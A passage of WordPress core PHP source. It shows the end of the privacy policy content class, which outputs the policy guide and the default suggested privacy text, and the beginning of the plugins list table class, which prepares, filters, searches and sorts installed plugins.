				$url,
				$label,
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'warning',
					'additional_classes' => array( 'inline', 'wp-pp-notice' ),
				)
			);
		}
	}

	/**
	 * Outputs the privacy policy guide together with content from the theme and plugins.
	 *
	 * @since 4.9.6
	 */
	public static function privacy_policy_guide() {

		$content_array = self::get_suggested_policy_text();
		$content       = '';
		$date_format   = __( 'F j, Y' );

		foreach ( $content_array as $section ) {
			$class   = '';
			$meta    = '';
			$removed = '';

			if ( ! empty( $section['removed'] ) ) {
				$badge_class = ' red';
				$date        = date_i18n( $date_format, $section['removed'] );
				/* translators: %s: Date of plugin deactivation. */
				$badge_title = sprintf( __( 'Removed %s.' ), $date );

				/* translators: %s: Date of plugin deactivation. */
				$removed = sprintf( __( 'You deactivated this plugin on %s and may no longer need this policy.' ), $date );
				$removed = wp_get_admin_notice(
					$removed,
					array(
						'type'               => 'info',
						'additional_classes' => array( 'inline' ),
					)
				);
			} elseif ( ! empty( $section['updated'] ) ) {
				$badge_class = ' blue';
				$date        = date_i18n( $date_format, $section['updated'] );
				/* translators: %s: Date of privacy policy text update. */
				$badge_title = sprintf( __( 'Updated %s.' ), $date );
			}

			$plugin_name = esc_html( $section['plugin_name'] );

			$sanitized_policy_name = sanitize_title_with_dashes( $plugin_name );
			?>
			<h4 class="privacy-settings-accordion-heading">
			<button aria-expanded="false" class="privacy-settings-accordion-trigger" aria-controls="privacy-settings-accordion-block-<?php echo $sanitized_policy_name; ?>" type="button">
				<span class="title"><?php echo $plugin_name; ?></span>
				<?php if ( ! empty( $section['removed'] ) || ! empty( $section['updated'] ) ) : ?>
				<span class="badge <?php echo $badge_class; ?>"> <?php echo $badge_title; ?></span>
				<?php endif; ?>
				<span class="icon"></span>
			</button>
			</h4>
			<div id="privacy-settings-accordion-block-<?php echo $sanitized_policy_name; ?>" class="privacy-settings-accordion-panel privacy-text-box-body" hidden="hidden">
				<?php
				echo $removed;
				echo $section['policy_text'];
				?>
				<?php if ( empty( $section['removed'] ) ) : ?>
				<div class="privacy-settings-accordion-actions">
					<span class="success" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
					<button type="button" class="privacy-text-copy button">
						<span aria-hidden="true"><?php _e( 'Copy suggested policy text to clipboard' ); ?></span>
						<span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. %s: Plugin name. */
							printf( __( 'Copy suggested policy text from %s.' ), $plugin_name );
							?>
						</span>
					</button>
				</div>
				<?php endif; ?>
			</div>
			<?php
		}
	}

	/**
	 * Returns the default suggested privacy policy content.
	 *
	 * @since 4.9.6
	 * @since 5.0.0 Added the `$blocks` parameter.
	 *
	 * @param bool $description Whether to include the descriptions under the section headings. Default false.
	 * @param bool $blocks      Whether to format the content for the block editor. Default true.
	 * @return string The default policy content.
	 */
	public static function get_default_content( $description = false, $blocks = true ) {
		$suggested_text = '<strong class="privacy-policy-tutorial">' . __( 'Suggested text:' ) . ' </strong>';
		$content        = '';
		$strings        = array();

		// Start of the suggested privacy policy text.
		if ( $description ) {
			$strings[] = '<div class="wp-suggested-text">';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'Who we are' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should note your site URL, as well as the name of the company, organization, or individual behind it, and some accurate contact information.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'The amount of information you may be required to show will vary depending on your local or national business regulations. You may, for example, be required to display a physical address, a registered address, or your company registration number.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. %s: Site URL. */
			$strings[] = '<p>' . $suggested_text . sprintf( __( 'Our website address is: %s.' ), get_bloginfo( 'url', 'display' ) ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What personal data we collect and why we collect it' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should note what personal data you collect from users and site visitors. This may include personal data, such as name, email address, personal account preferences; transactional data, such as purchase information; and technical data, such as information about cookies.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'You should also note any collection and retention of sensitive personal data, such as data concerning health.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In addition to listing what personal data you collect, you need to note why you collect it. These explanations must note either the legal basis for your data collection and retention or the active consent the user has given.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'Personal data is not just created by a user&#8217;s interactions with your site. Personal data is also generated from technical processes such as contact forms, comments, cookies, analytics, and third party embeds.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not collect any personal data about visitors, and only collects the data shown on the User Profile screen from registered users. However some of your plugins may collect personal data. You should add the relevant information below.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'Comments' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what information is captured through comments. We have noted the data which WordPress collects by default.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'When visitors leave comments on the site we collect the data shown in the comments form, and also the visitor&#8217;s IP address and browser user agent string to help spam detection.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'An anonymized string created from your email address (also called a hash) may be provided to the Gravatar service to see if you are using it. The Gravatar service privacy policy is available here: https://automattic.com/privacy/. After approval of your comment, your profile picture is visible to the public in the context of your comment.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'Media' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what information may be disclosed by users who can upload media files. All uploaded files are usually publicly accessible.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you upload images to the website, you should avoid uploading images with embedded location data (EXIF GPS) included. Visitors to the website can download and extract any location data from images on the website.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Contact forms' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default, WordPress does not include a contact form. If you use a contact form plugin, use this subsection to note what personal data is captured when someone submits a contact form, and how long you keep it. For example, you may note that you keep contact form submissions for a certain period for customer service purposes, but you do not use the information submitted through them for marketing purposes.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'Cookies' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should list the cookies your website uses, including those set by your plugins, social media, and analytics. We have provided the cookies which WordPress installs by default.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you leave a comment on our site you may opt-in to saving your name, email address and website in cookies. These are for your convenience so that you do not have to fill in your details again when you leave another comment. These cookies will last for one year.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'If you visit our login page, we will set a temporary cookie to determine if your browser accepts cookies. This cookie contains no personal data and is discarded when you close your browser.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'When you log in, we will also set up several cookies to save your login information and your screen display choices. Login cookies last for two days, and screen options cookies last for a year. If you select &quot;Remember Me&quot;, your login will persist for two weeks. If you log out of your account, the login cookies will be removed.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'If you edit or publish an article, an additional cookie will be saved in your browser. This cookie includes no personal data and simply indicates the post ID of the article you just edited. It expires after 1 day.' ) . '</p>';
		}

		if ( ! $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2 class="wp-block-heading">' . __( 'Embedded content from other websites' ) . '</h2>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'Articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'These websites may collect data about you, use cookies, embed additional third-party tracking, and monitor your interaction with that embedded content, including tracking your interaction with the embedded content if you have an account and are logged in to that website.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Analytics' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this subsection you should note what analytics package you use, how users can opt out of analytics tracking, and a link to your analytics provider&#8217;s privacy policy, if any.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not collect any analytics data. However, many web hosting accounts collect some anonymous analytics data. You may also have installed a WordPress plugin that provides analytics services. In that case, add information from that plugin here.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'Who we share your data with' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should name and list all third party providers with whom you share site data, including partners, cloud-based services, payment processors, and third party service providers, and note what data you share with them and why. Link to their own privacy policies if possible.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'By default WordPress does not share any personal data with anyone.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you request a password reset, your IP address will be included in the reset email.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'How long we retain your data' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain how long you retain personal data collected or processed by the website. While it is your responsibility to come up with the schedule of how long you keep each dataset for and why you keep it, that information does need to be listed here. For example, you may want to say that you keep contact form entries for six months, analytics records for a year, and customer purchase records for ten years.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you leave a comment, the comment and its metadata are retained indefinitely. This is so we can recognize and approve any follow-up comments automatically instead of holding them in a moderation queue.' ) . '</p>';
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . __( 'For users that register on our website (if any), we also store the personal information they provide in their user profile. All users can see, edit, or delete their personal information at any time (except they cannot change their username). Website administrators can also see and edit that information.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'What rights you have over your data' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what rights your users have over their data and how they can invoke those rights.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'If you have an account on this site, or have left comments, you can request to receive an exported file of the personal data we hold about you, including any data you have provided to us. You can also request that we erase any personal data we hold about you. This does not include any data we are obliged to keep for administrative, legal, or security purposes.' ) . '</p>';
		}

		/* translators: Default privacy policy heading. */
		$strings[] = '<h2 class="wp-block-heading">' . __( 'Where your data is sent' ) . '</h2>';

		if ( $description ) {
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should list all transfers of your site data outside the European Union and describe the means by which that data is safeguarded to European data protection standards. This could include your web hosting, cloud storage, or other third party services.' ) . '</p>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'European data protection law requires data about European residents which is transferred outside the European Union to be safeguarded to the same standards as if the data was in Europe. So in addition to listing where data goes, you should describe how you ensure that these standards are met either by yourself or by your third party providers, whether that is through an agreement such as Privacy Shield, model clauses in your contracts, or binding corporate rules.' ) . '</p>';
		} else {
			/* translators: Default privacy policy text. */
			$strings[] = '<p>' . $suggested_text . __( 'Visitor comments may be checked through an automated spam detection service.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Contact information' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should provide a contact method for privacy-specific concerns. If you are required to have a Data Protection Officer, list their name and full contact details here as well.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Additional information' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If you use your site for commercial purposes and you engage in more complex collection or processing of personal data, you should note the following information in your privacy policy in addition to the information we have already discussed.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'How we protect your data' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what measures you have taken to protect your users&#8217; data. This could include technical measures such as encryption; security measures such as two factor authentication; and measures such as staff training in data protection. If you have carried out a Privacy Impact Assessment, you can mention it here too.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What data breach procedures we have in place' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'In this section you should explain what procedures you have in place to deal with data breaches, either potential or real, such as internal reporting systems, contact mechanisms, or bug bounties.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What third parties we receive data from' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If your website receives data about users from third parties, including advertisers, this information must be included within the section of your privacy policy dealing with third party data.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'What automated decision making and/or profiling we do with user data' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If your website provides a service which includes automated decision making - for example, allowing customers to apply for credit, or aggregating their data into an advertising profile - you must note that this is taking place, and include information about how that information is used, what decisions are made with that aggregated data, and what rights users have over decisions made without human intervention.' ) . '</p>';
		}

		if ( $description ) {
			/* translators: Default privacy policy heading. */
			$strings[] = '<h2>' . __( 'Industry regulatory disclosure requirements' ) . '</h2>';
			/* translators: Privacy policy tutorial. */
			$strings[] = '<p class="privacy-policy-tutorial">' . __( 'If you are a member of a regulated industry, or if you are subject to additional privacy laws, you may be required to disclose that information here.' ) . '</p>';
			$strings[] = '</div>';
		}

		if ( $blocks ) {
			foreach ( $strings as $key => $string ) {
				if ( str_starts_with( $string, '<p>' ) ) {
					$strings[ $key ] = "<!-- wp:paragraph -->\n" . $string . "\n<!-- /wp:paragraph -->\n";
				}

				if ( str_starts_with( $string, '<h2 ' ) ) {
					$strings[ $key ] = "<!-- wp:heading -->\n" . $string . "\n<!-- /wp:heading -->\n";
				}
			}
		}

		$content = implode( '', $strings );
		// End of the suggested privacy policy text.

		/**
		 * Filters the default content suggested for inclusion in a privacy policy.
		 *
		 * @since 4.9.6
		 * @since 5.0.0 Added the `$strings`, `$description`, and `$blocks` parameters.
		 * @deprecated 5.7.0 Use wp_add_privacy_policy_content() instead.
		 *
		 * @param string   $content     The default policy content.
		 * @param string[] $strings     An array of privacy policy content strings.
		 * @param bool     $description Whether policy descriptions should be included.
		 * @param bool     $blocks      Whether the content should be formatted for the block editor.
		 */
		return apply_filters_deprecated(
			'wp_get_default_privacy_policy_content',
			array( $content, $strings, $description, $blocks ),
			'5.7.0',
			'wp_add_privacy_policy_content()'
		);
	}

	/**
	 * Adds the suggested privacy policy text to the policy postbox.
	 *
	 * @since 4.9.6
	 */
	public static function add_suggested_content() {
		$content = self::get_default_content( false, false );
		wp_add_privacy_policy_content( __( 'WordPress' ), $content );
	}
}
<?php
/**
 * List Table API: WP_Plugins_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying installed plugins in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Plugins_List_Table extends WP_List_Table {
	/**
	 * Whether to show the auto-updates UI.
	 *
	 * @since 5.5.0
	 *
	 * @var bool True if auto-updates UI is to be shown, false otherwise.
	 */
	protected $show_autoupdates = true;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $status
	 * @global int    $page
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $status, $page;

		parent::__construct(
			array(
				'plural' => 'plugins',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$allowed_statuses = array( 'active', 'inactive', 'recently_activated', 'upgrade', 'mustuse', 'dropins', 'search', 'paused', 'auto-update-enabled', 'auto-update-disabled' );

		$status = 'all';
		if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], $allowed_statuses, true ) ) {
			$status = $_REQUEST['plugin_status'];
		}

		if ( isset( $_REQUEST['s'] ) ) {
			$_SERVER['REQUEST_URI'] = add_query_arg( 's', wp_unslash( $_REQUEST['s'] ) );
		}

		$page = $this->get_pagenum();

		$this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'plugin' )
			&& current_user_can( 'update_plugins' )
			&& ( ! is_multisite() || $this->screen->in_admin( 'network' ) );
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		return array( 'widefat', $this->_args['plural'] );
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'activate_plugins' );
	}

	/**
	 * @global string $status
	 * @global array  $plugins
	 * @global array  $totals
	 * @global int    $page
	 * @global string $orderby
	 * @global string $order
	 * @global string $s
	 */
	public function prepare_items() {
		global $status, $plugins, $totals, $page, $orderby, $order, $s;

		wp_reset_vars( array( 'orderby', 'order' ) );

		/**
		 * Filters the full array of plugins to list in the Plugins list table.
		 *
		 * @since 3.0.0
		 *
		 * @see get_plugins()
		 *
		 * @param array $all_plugins An array of plugins to display in the list table.
		 */
		$all_plugins = apply_filters( 'all_plugins', get_plugins() );

		$plugins = array(
			'all'                => $all_plugins,
			'search'             => array(),
			'active'             => array(),
			'inactive'           => array(),
			'recently_activated' => array(),
			'upgrade'            => array(),
			'mustuse'            => array(),
			'dropins'            => array(),
			'paused'             => array(),
		);
		if ( $this->show_autoupdates ) {
			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );

			$plugins['auto-update-enabled']  = array();
			$plugins['auto-update-disabled'] = array();
		}

		$screen = $this->screen;

		if ( ! is_multisite() || ( $screen->in_admin( 'network' ) && current_user_can( 'manage_network_plugins' ) ) ) {

			/**
			 * Filters whether to display the advanced plugins list table.
			 *
			 * There are two types of advanced plugins - must-use and drop-ins -
			 * which can be used in a single site or Multisite network.
			 *
			 * The $type parameter allows you to differentiate between the type of advanced
			 * plugins to filter the display of. Contexts include 'mustuse' and 'dropins'.
			 *
			 * @since 3.0.0
			 *
			 * @param bool   $show Whether to show the advanced plugins for the specified
			 *                     plugin type. Default true.
			 * @param string $type The plugin type. Accepts 'mustuse', 'dropins'.
			 */
			if ( apply_filters( 'show_advanced_plugins', true, 'mustuse' ) ) {
				$plugins['mustuse'] = get_mu_plugins();
			}

			/** This action is documented in wp-admin/includes/class-wp-plugins-list-table.php */
			if ( apply_filters( 'show_advanced_plugins', true, 'dropins' ) ) {
				$plugins['dropins'] = get_dropins();
			}

			if ( current_user_can( 'update_plugins' ) ) {
				$current = get_site_transient( 'update_plugins' );
				foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
					if ( isset( $current->response[ $plugin_file ] ) ) {
						$plugins['all'][ $plugin_file ]['update'] = true;
						$plugins['upgrade'][ $plugin_file ]       = $plugins['all'][ $plugin_file ];
					}
				}
			}
		}

		if ( ! $screen->in_admin( 'network' ) ) {
			$show = current_user_can( 'manage_network_plugins' );
			/**
			 * Filters whether to display network-active plugins alongside plugins active for the current site.
			 *
			 * This also controls the display of inactive network-only plugins (plugins with
			 * "Network: true" in the plugin header).
			 *
			 * Plugins cannot be network-activated or network-deactivated from this screen.
			 *
			 * @since 4.4.0
			 *
			 * @param bool $show Whether to show network-active plugins. Default is whether the current
			 *                   user can manage network plugins (ie. a Super Admin).
			 */
			$show_network_active = apply_filters( 'show_network_active_plugins', $show );
		}

		if ( $screen->in_admin( 'network' ) ) {
			$recently_activated = get_site_option( 'recently_activated', array() );
		} else {
			$recently_activated = get_option( 'recently_activated', array() );
		}

		foreach ( $recently_activated as $key => $time ) {
			if ( $time + WEEK_IN_SECONDS < time() ) {
				unset( $recently_activated[ $key ] );
			}
		}

		if ( $screen->in_admin( 'network' ) ) {
			update_site_option( 'recently_activated', $recently_activated );
		} else {
			update_option( 'recently_activated', $recently_activated );
		}

		$plugin_info = get_site_transient( 'update_plugins' );

		foreach ( (array) $plugins['all'] as $plugin_file => $plugin_data ) {
			// Extra info if known. array_merge() ensures $plugin_data has precedence if keys collide.
			if ( isset( $plugin_info->response[ $plugin_file ] ) ) {
				$plugin_data = array_merge( (array) $plugin_info->response[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
			} elseif ( isset( $plugin_info->no_update[ $plugin_file ] ) ) {
				$plugin_data = array_merge( (array) $plugin_info->no_update[ $plugin_file ], array( 'update-supported' => true ), $plugin_data );
			} elseif ( empty( $plugin_data['update-supported'] ) ) {
				$plugin_data['update-supported'] = false;
			}

			/*
			 * Create the payload that's used for the auto_update_plugin filter.
			 * This is the same data contained within $plugin_info->(response|no_update) however
			 * not all plugins will be contained in those keys, this avoids unexpected warnings.
			 */
			$filter_payload = array(
				'id'            => $plugin_file,
				'slug'          => '',
				'plugin'        => $plugin_file,
				'new_version'   => '',
				'url'           => '',
				'package'       => '',
				'icons'         => array(),
				'banners'       => array(),
				'banners_rtl'   => array(),
				'tested'        => '',
				'requires_php'  => '',
				'compatibility' => new stdClass(),
			);

			$filter_payload = (object) wp_parse_args( $plugin_data, $filter_payload );

			$auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, $filter_payload );

			if ( ! is_null( $auto_update_forced ) ) {
				$plugin_data['auto-update-forced'] = $auto_update_forced;
			}

			$plugins['all'][ $plugin_file ] = $plugin_data;
			// Make sure that $plugins['upgrade'] also receives the extra info since it is used on ?plugin_status=upgrade.
			if ( isset( $plugins['upgrade'][ $plugin_file ] ) ) {
				$plugins['upgrade'][ $plugin_file ] = $plugin_data;
			}

			// Filter into individual sections.
			if ( is_multisite() && ! $screen->in_admin( 'network' ) && is_network_only_plugin( $plugin_file ) && ! is_plugin_active( $plugin_file ) ) {
				if ( $show_network_active ) {
					// On the non-network screen, show inactive network-only plugins if allowed.
					$plugins['inactive'][ $plugin_file ] = $plugin_data;
				} else {
					// On the non-network screen, filter out network-only plugins as long as they're not individually active.
					unset( $plugins['all'][ $plugin_file ] );
				}
			} elseif ( ! $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) {
				if ( $show_network_active ) {
					// On the non-network screen, show network-active plugins if allowed.
					$plugins['active'][ $plugin_file ] = $plugin_data;
				} else {
					// On the non-network screen, filter out network-active plugins.
					unset( $plugins['all'][ $plugin_file ] );
				}
			} elseif ( ( ! $screen->in_admin( 'network' ) && is_plugin_active( $plugin_file ) )
				|| ( $screen->in_admin( 'network' ) && is_plugin_active_for_network( $plugin_file ) ) ) {
				/*
				 * On the non-network screen, populate the active list with plugins that are individually activated.
				 * On the network admin screen, populate the active list with plugins that are network-activated.
				 */
				$plugins['active'][ $plugin_file ] = $plugin_data;

				if ( ! $screen->in_admin( 'network' ) && is_plugin_paused( $plugin_file ) ) {
					$plugins['paused'][ $plugin_file ] = $plugin_data;
				}
			} else {
				if ( isset( $recently_activated[ $plugin_file ] ) ) {
					// Populate the recently activated list with plugins that have been recently activated.
					$plugins['recently_activated'][ $plugin_file ] = $plugin_data;
				}
				// Populate the inactive list with plugins that aren't activated.
				$plugins['inactive'][ $plugin_file ] = $plugin_data;
			}

			if ( $this->show_autoupdates ) {
				$enabled = in_array( $plugin_file, $auto_updates, true ) && $plugin_data['update-supported'];
				if ( isset( $plugin_data['auto-update-forced'] ) ) {
					$enabled = (bool) $plugin_data['auto-update-forced'];
				}

				if ( $enabled ) {
					$plugins['auto-update-enabled'][ $plugin_file ] = $plugin_data;
				} else {
					$plugins['auto-update-disabled'][ $plugin_file ] = $plugin_data;
				}
			}
		}

		if ( strlen( $s ) ) {
			$status            = 'search';
			$plugins['search'] = array_filter( $plugins['all'], array( $this, '_search_callback' ) );
		}

		/**
		 * Filters the array of plugins for the list table.
		 *
		 * @since 6.3.0
		 *
		 * @param array[] $plugins An array of arrays of plugin data, keyed by context.
		 */
		$plugins = apply_filters( 'plugins_list', $plugins );

		$totals = array();
		foreach ( $plugins as $type => $list ) {
			$totals[ $type ] = count( $list );
		}

		if ( empty( $plugins[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) {
			$status = 'all';
		}

		$this->items = array();
		foreach ( $plugins[ $status ] as $plugin_file => $plugin_data ) {
			// Translate, don't apply markup, sanitize HTML.
			$this->items[ $plugin_file ] = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, false, true );
		}

		$total_this_page = $totals[ $status ];

		$js_plugins = array();
		foreach ( $plugins as $key => $list ) {
			$js_plugins[ $key ] = array_keys( $list );
		}

		wp_localize_script(
			'updates',
			'_wpUpdatesItemCounts',
			array(
				'plugins' => $js_plugins,
				'totals'  => wp_get_update_data(),
			)
		);

		if ( ! $orderby ) {
			$orderby = 'Name';
		} else {
			$orderby = ucfirst( $orderby );
		}

		$order = strtoupper( $order );

		uasort( $this->items, array( $this, '_order_callback' ) );

		$plugins_per_page = $this->get_items_per_page( str_replace( '-', '_', $screen->id . '_per_page' ), 999 );

		$start = ( $page - 1 ) * $plugins_per_page;

		if ( $total_this_page > $plugins_per_page ) {
			$this->items = array_slice( $this->items, $start, $plugins_per_page );
		}

		$this->set_pagination_args(
			array(
				'total_items' => $total_this_page,
				'per_page'    => $plugins_per_page,
			)
		);
	}

	/**
	 * @global string $s URL encoded search term.
	 *
	 * @param array $plugin
	 * @return bool
	 */
	public function _search_callback( $plugin ) {
		global $s;

		foreach ( $plugin as $value ) {
			if ( is_string( $value ) && false !== stripos( strip_tags( $value ), urldecode( $s ) ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * @global string $orderby
	 * @global string $order
	 * @param array $plugin_a
	 * @param array $plugin_b
	 * @return int
	 */
	public function _order_callback( $plugin_a, $plugin_b ) {
		global $orderby, $order;

		$a = $plugin_a[ $orderby ];
		$b = $plugin_b[ $orderby ];

		if ( $a === $b ) {
			return 0;
		}

		if ( 'DESC' === $order ) {
			return strcasecmp( $b, $a );
		} else {
			return strcasecmp( $a, $b );
		}
	}

	/**
	 * @global array $plugins
	 */
	public function no_items() {
		global $plugins;

		if ( ! empty( $_REQUEST['s'] ) ) {
			$s = esc_html( urldecode( wp_unslash( $_REQUEST['s'] ) ) );

			/* translators: %s: Plugin search term. */
			printf( __( 'No plugins found for: %s.' ), '<strong>' . $s . '</strong>' );

			// We assume that somebody who can install plugins in multisite is experienced enough to not need this helper link.
			if ( ! is_multisite() && current_user_can( 'install_plugins' ) ) {
				echo ' <a href="' . esc_url( admin_url( 'plugin-install.php?tab=search&s=' . urlencode( $s ) ) ) . '">' . __( 'Search for plugins in the WordPress Plugin Directory.' ) . '</a>';
			}
		} elseif ( ! empty( $plugins['all'] ) ) {
			_e( 'No plugins found.' );
		} else {
			_e( 'No plugins are currently available.' );
		}
	}

	/**
	 * Displays the search box.
	 *
	 * @since 4.6.0
	 *
	 * @param string $text     The 'submit' button label.
	 * @param string $input_id ID attribute value for the search input field.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) {
			return;
		}

		$input_id = $input_id . '-search-input';

		if ( ! empty( $_REQUEST['orderby'] ) ) {
			echo '<input type="hidden" name="orderby" value="' . esc_attr( $_REQUEST['orderby'] ) . '" />';
		}
		if ( ! empty( $_REQUEST['order'] ) ) {
			echo '<input type="hidden" name="order" value="' . esc_attr( $_REQUEST['order'] ) . '" />';
		}
		?>
		<p class="search-box">
			<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
			<input type="search" id="<?php echo esc_attr( $input_id ); ?>" class="wp-filter-search" name="s" value="<?php _admin_search_query(); ?>" placeholder="<?php esc_attr_e( 'Search installed plugins...' ); ?>" />
			<?php submit_button( $text, 'hide-if-js', '', false, array( 'id' => 'search-submit' ) ); ?>
		</p>
		<?php
	}

	/**
	 * @global string $status
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		global $status;

		$columns = array(
